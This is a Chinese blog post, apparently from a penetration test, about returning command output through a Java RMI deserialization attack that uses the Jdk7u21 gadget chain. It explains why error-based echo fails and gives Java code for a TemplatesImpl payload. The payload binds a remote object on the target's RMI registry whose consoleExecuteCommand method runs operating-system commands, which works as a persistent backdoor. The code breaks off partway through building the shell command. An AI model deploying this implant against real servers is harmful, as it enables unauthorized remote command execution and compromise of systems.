java反序列之Jdk7u21回显

以前在打RMI反序列化的时候都是用的CC、CB利用链实现报错回显,很好使。

之前在做一次项目的时候发现了目标存在RMI反序列化漏洞,系统为Windows,无DNS不出网。

通过延时探测出只存在Jdk7u21利用链。

RMI回显

打目标时依然尝试使用老方法回显,Jdk7u21 + 报错回显,发现一直没回显。平时自己Jdk7u21利用链用得比较少,大概了解Jdk7u21最后的利用也是通过Templatesimpl#newTransformer方法实现代码执行,只能去看代码分析下失败的原因。

Jdk7u21利用链也是利用的AnnotationInvocationHandler动态代理,通过HashSet触发到代理handler的equal方法,最终到

sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

可以发现在在invoke反射调用templatesimpl#newTransformer方法时,捕获了异常。当捕获InvocationTargetException异常时返回了false,捕获IllegalAccessException异常时,继续向上抛了异常。

在反射过程中,反射所调用的方法中出现未被捕获的异常时,就会抛出InvocationTargetException异常,所以这里通过templatesimpl执行任意代码抛出任意异常(包括IllegalAccessException)回显,只能进入return false的分支,最终无法实现异常回显。

搞清楚了无法通过异常回显的原因后,接着就开始寻思其他的解决方案,首先能想到的就是参考weblogic的T3/IIOP回显,绑定一个服务到registry上。

在T3回显中,服务类实现了ClusterMasterRemote接口再绑定到registry,不过ClusterMasterRemote是Weblogic中自带的类不适用我们的场景。

这时候去得去jdk里找一个继承了java.rmi.Remote的接口,为了比较简单的传递命令和返回命令结果,参数类型和返回类型都为String方便一点。

翻了一会,只找到了一个符合要求的接口,sun.jvm.hotspot.debugger.remote.RemoteDebugger。

public interface RemoteDebugger extends Remote {
...........
        String consoleExecuteCommand(String var1) throws RemoteException;
}

然后定义一个类实现这个接口,最后暴露实现类最后绑定到registry,本地直接绑定成功。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.jvm.hotspot.debugger.MachineDescription;
import sun.jvm.hotspot.debugger.ReadResult;
import sun.jvm.hotspot.debugger.remote.RemoteDebugger;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIBindService2 extends AbstractTranslet implements RemoteDebugger {

    public RMIBindService2() throws RemoteException {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            UnicastRemoteObject.exportObject(this, 0);
            registry.rebind("hhhh", this);
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public String getOS() throws RemoteException {
        return null;
    }

    @Override
    public String getCPU() throws RemoteException {
        return null;
    }

    @Override
    public MachineDescription getMachineDescription() throws RemoteException {
        return null;
    }

    @Override
    public long lookupInProcess(String s, String s1) throws RemoteException {
        return 0;
    }

    @Override
    public ReadResult readBytesFromProcess(long l, long l1) throws RemoteException {
        return null;
    }

    @Override
    public boolean hasConsole() throws RemoteException {
        return false;
    }

    @Override
    public String getConsolePrompt() throws RemoteException {
        return null;
    }

    @Override
    public String consoleExecuteCommand(String command) throws RemoteException {
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }

        String[] cmds = isLinux ? new String[]{"sh
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值